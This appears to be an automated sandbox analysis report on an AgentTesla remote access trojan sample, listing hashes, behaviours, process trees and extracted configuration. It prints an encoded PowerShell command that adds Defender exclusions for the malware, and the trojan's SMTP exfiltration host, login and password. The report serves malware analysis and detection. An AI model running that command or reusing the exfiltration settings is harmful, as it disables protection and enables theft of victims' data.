Analysis
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max time kernel
96s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
15-01-2025 03:29
Static task
static1
Behavioral task
behavioral1
Sample
cd9ee0f4a8ad57856d636dd1f2f34c2196804791bff45332d729203ce1459226.exe
Resource
win7-20240903-en
General
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Target
cd9ee0f4a8ad57856d636dd1f2f34c2196804791bff45332d729203ce1459226.exe
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Size
46KB
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MD5
58a83cbfbd24495d3427075426c7bb6c
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SHA1
3b3ef5d4ab2adc7824dd7ec26e8cc569f03e5189
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SHA256
cd9ee0f4a8ad57856d636dd1f2f34c2196804791bff45332d729203ce1459226
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SHA512
820b6b992167303c33e96dca7acbef26b80698b63ae5ff61cfe919fc34ba6e10460f5264e7e33a433aa8407c0a3f2b482618e1da19f7369a6b07d40cb41bb871
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SSDEEP
768:WZ6LWN+ybM6EAKXbNgotkHxPe9rB5I308Cslw4BcriEsO:W5dopgKkHxPGrB5Ik3T4iCO
Malware Config
Extracted
agenttesla
Protocol: smtp- Host:
mail.iaa-airferight.com - Port:
587 - Username:
[email protected] - Password:
manlikeyou88 - Email To:
[email protected]
Signatures
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AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
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Agenttesla family
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Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 1856 created 3420 1856 cd9ee0f4a8ad57856d636dd1f2f34c2196804791bff45332d729203ce1459226.exe 56 -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation cd9ee0f4a8ad57856d636dd1f2f34c2196804791bff45332d729203ce1459226.exe -
Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\app.vbs cd9ee0f4a8ad57856d636dd1f2f34c2196804791bff45332d729203ce1459226.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1856 set thread context of 3348 1856 cd9ee0f4a8ad57856d636dd1f2f34c2196804791bff45332d729203ce1459226.exe 99 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 7 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language InstallUtil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ipconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cd9ee0f4a8ad57856d636dd1f2f34c2196804791bff45332d729203ce1459226.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ipconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 1708 ipconfig.exe 3412 ipconfig.exe -
Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 392 powershell.exe 392 powershell.exe 1856 cd9ee0f4a8ad57856d636dd1f2f34c2196804791bff45332d729203ce1459226.exe 1856 cd9ee0f4a8ad57856d636dd1f2f34c2196804791bff45332d729203ce1459226.exe 1856 cd9ee0f4a8ad57856d636dd1f2f34c2196804791bff45332d729203ce1459226.exe 3348 InstallUtil.exe 3348 InstallUtil.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 1856 cd9ee0f4a8ad57856d636dd1f2f34c2196804791bff45332d729203ce1459226.exe Token: SeDebugPrivilege 392 powershell.exe Token: SeDebugPrivilege 1856 cd9ee0f4a8ad57856d636dd1f2f34c2196804791bff45332d729203ce1459226.exe Token: SeDebugPrivilege 3348 InstallUtil.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 1856 wrote to memory of 4152 1856 cd9ee0f4a8ad57856d636dd1f2f34c2196804791bff45332d729203ce1459226.exe 88 PID 1856 wrote to memory of 4152 1856 cd9ee0f4a8ad57856d636dd1f2f34c2196804791bff45332d729203ce1459226.exe 88 PID 1856 wrote to memory of 4152 1856 cd9ee0f4a8ad57856d636dd1f2f34c2196804791bff45332d729203ce1459226.exe 88 PID 4152 wrote to memory of 1708 4152 cmd.exe 90 PID 4152 wrote to memory of 1708 4152 cmd.exe 90 PID 4152 wrote to memory of 1708 4152 cmd.exe 90 PID 1856 wrote to memory of 392 1856 cd9ee0f4a8ad57856d636dd1f2f34c2196804791bff45332d729203ce1459226.exe 97 PID 1856 wrote to memory of 392 1856 cd9ee0f4a8ad57856d636dd1f2f34c2196804791bff45332d729203ce1459226.exe 97 PID 1856 wrote to memory of 392 1856 cd9ee0f4a8ad57856d636dd1f2f34c2196804791bff45332d729203ce1459226.exe 97 PID 1856 wrote to memory of 3348 1856 cd9ee0f4a8ad57856d636dd1f2f34c2196804791bff45332d729203ce1459226.exe 99 PID 1856 wrote to memory of 3348 1856 cd9ee0f4a8ad57856d636dd1f2f34c2196804791bff45332d729203ce1459226.exe 99 PID 1856 wrote to memory of 3348 1856 cd9ee0f4a8ad57856d636dd1f2f34c2196804791bff45332d729203ce1459226.exe 99 PID 1856 wrote to memory of 3348 1856 cd9ee0f4a8ad57856d636dd1f2f34c2196804791bff45332d729203ce1459226.exe 99 PID 1856 wrote to memory of 3348 1856 cd9ee0f4a8ad57856d636dd1f2f34c2196804791bff45332d729203ce1459226.exe 99 PID 1856 wrote to memory of 3348 1856 cd9ee0f4a8ad57856d636dd1f2f34c2196804791bff45332d729203ce1459226.exe 99 PID 1856 wrote to memory of 3348 1856 cd9ee0f4a8ad57856d636dd1f2f34c2196804791bff45332d729203ce1459226.exe 99 PID 1856 wrote to memory of 3348 1856 cd9ee0f4a8ad57856d636dd1f2f34c2196804791bff45332d729203ce1459226.exe 99 PID 1856 wrote to memory of 4300 1856 cd9ee0f4a8ad57856d636dd1f2f34c2196804791bff45332d729203ce1459226.exe 100 PID 1856 wrote to memory of 4300 1856 cd9ee0f4a8ad57856d636dd1f2f34c2196804791bff45332d729203ce1459226.exe 100 PID 1856 wrote to memory of 4300 1856 cd9ee0f4a8ad57856d636dd1f2f34c2196804791bff45332d729203ce1459226.exe 100 PID 4300 wrote to memory of 3412 4300 cmd.exe 102 PID 4300 wrote to memory of 3412 4300 cmd.exe 102 PID 4300 wrote to memory of 3412 4300 cmd.exe 102
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3420
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C:\Users\Admin\AppData\Local\Temp\cd9ee0f4a8ad57856d636dd1f2f34c2196804791bff45332d729203ce1459226.exe"C:\Users\Admin\AppData\Local\Temp\cd9ee0f4a8ad57856d636dd1f2f34c2196804791bff45332d729203ce1459226.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Checks computer location settings
- Drops startup file
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1856 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ipconfig /release3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4152 -
C:\Windows\SysWOW64\ipconfig.exeipconfig /release4⤵
- System Location Discovery: System Language Discovery
- Gathers network information
PID:1708
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAYwBkADkAZQBlADAAZgA0AGEAOABhAGQANQA3ADgANQA2AGQANgAzADYAZABkADEAZgAyAGYAMwA0AGMAMgAxADkANgA4ADAANAA3ADkAMQBiAGYAZgA0ADUAMwAzADIAZAA3ADIAOQAyADAAMwBjAGUAMQA0ADUAOQAyADIANgAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABjAGQAOQBlAGUAMABmADQAYQA4AGEAZAA1ADcAOAA1ADYAZAA2ADMANgBkAGQAMQBmADIAZgAzADQAYwAyADEAOQA2ADgAMAA0ADcAOQAxAGIAZgBmADQANQAzADMAMgBkADcAMgA5ADIAMAAzAGMAZQAxADQANQA5ADIAMgA2AC4AZQB4AGUAOwBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABhAHAAcAAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABhAHAAcAAuAGUAeABlAA==3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:392
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ipconfig /renew3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4300 -
C:\Windows\SysWOW64\ipconfig.exeipconfig /renew4⤵
- System Location Discovery: System Language Discovery
- Gathers network information
PID:3412
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3348
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82